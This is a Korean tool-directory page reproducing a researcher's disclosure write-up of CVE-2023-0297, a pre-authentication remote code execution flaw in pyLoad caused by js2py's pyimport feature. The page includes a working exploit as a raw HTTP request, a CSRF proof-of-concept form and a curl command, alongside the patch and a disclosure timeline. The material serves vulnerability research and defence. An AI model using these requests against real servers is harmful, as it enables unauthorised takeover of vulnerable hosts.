Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-0297_Pre-auth_RCE_in_pyLoad — CVE-2023-0297: pyLoad에서 사전 인증 RCE를 발견한 이야기 | Kitploit
도구/GitHubGitHub/bauh0lz/cve-2023-0297_pre-auth_rce_in_pyload
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubbauh0lz/cve-2023-0297_pre-auth_rce_in_pyload

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: pyLoad에서 사전 인증 RCE를 발견한 이야기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
28103년 전Kitploit 검토 완료

CVE-2023-0297: pyLoad에서 인증 전 RCE

pyLoad에서 인증 전 RCE를 발견한 이야기

TL;DR

0.5.0b3.dev31 이전 버전의 pyLoad에서 js2py의 기능을 악용하여 인증 전 RCE로 이어지는 코드 인젝션 취약점이 존재합니다.

보고서는 여기에서, 익스플로잇 코드는 여기에서 확인할 수 있습니다.

세부 사항

pyLoad는 Python으로 작성된 오픈소스 다운로드 매니저이며 웹 인터페이스로 관리할 수 있습니다. GitHub 저장소는 2023년 1월 9일 기준 약 2.8k 스타를 보유하고 있습니다.

pyLoad의 소스 코드를 감사하던 중 다음 코드가 눈에 띄었습니다:

cnl_blueprint.py#L124

root@kitploit:~
    jk = eval_js(f"{jk} f()")

eval_js 함수의 정의는 다음과 같습니다:

misc.py#L25-L27

root@kitploit:~
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()")는 js2py의 기능을 사용하여 JavaScript 코드 f"{jk} f()"를 실행하며, jk 파라미터는 요청 파라미터로 전달됩니다:

cnl_blueprint.py#L120

root@kitploit:~
    jk = flask.request.form["jk"]

따라서 해당 엔드포인트에 요청함으로써 임의의 JavaScript 코드를 실행할 수 있습니다.

하지만 어떻게 악용할 수 있을까요? js2py.eval_js() 컨텍스트에서는 XMLHttpRequest, fetch, require(node.js처럼)가 정의되어 있지 않으므로 SSRF나 로컬 파일 읽기는 불가능합니다.

시간을 보낸 끝에 멋진 js2py 기능을 발견했습니다:

pyimport 문

root@kitploit:~
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

이 기능을 사용하면 js2py.eval_js() 컨텍스트에서 Python 라이브러리를 사용할 수 있습니다! 놀랍게도 pyimport는 기본적으로 활성화되어 있습니다. :o

pyimport를 사용하여 OS 명령을 실행하는 간단한 코드를 시도해 보았습니다:

root@kitploit:~
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

예상대로 touch /tmp/pwnd가 실행되었습니다!

다음 요청을 보내면 대상 호스트에서도 동일한 일이 발생합니다:

root@kitploit:~
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

jk 파라미터의 ;f=function%20f2(){}; 부분은 이 엔드포인트가 eval_js(f"{jk} f()")를 실행하기 때문에 필요합니다. 이 부분이 없으면 name 'f' is not defined 오류로 인해 인젝션된 코드가 실행되지 않습니다.

요청에는 쿠키와 CSRF 토큰이 포함되어 있지 않습니다. 즉:

  • 대상 호스트에 접근할 수 있는 인증되지 않은 공격자는 RCE를 수행할 수 있습니다.
  • 공격자가 대상 호스트에 직접 접근할 수 없더라도, 대상 호스트에 접근할 수 있는 피해자를 CSRF 공격으로 속여 RCE를 수행하게 할 수 있습니다:
root@kitploit:~
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

익스플로잇 코드

root@kitploit:~
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

패치

pyimport 기능을 비활성화하면 됩니다.

misc.py

root@kitploit:~
 import js2py
 
+js2py.disable_pyimport()

타임라인

  • 2023-01-02: huntr.dev에 신고
  • 2023-01-04: 취약점 검증됨
  • 2023-01-04: 취약점 수정 및 보고서 공개
  • 2023-01-14: CVE ID 할당됨

빠른 응답을 주신 hunr.dev 팀과 pyLoad 유지보수자에게 감사드립니다!

도구 다운로드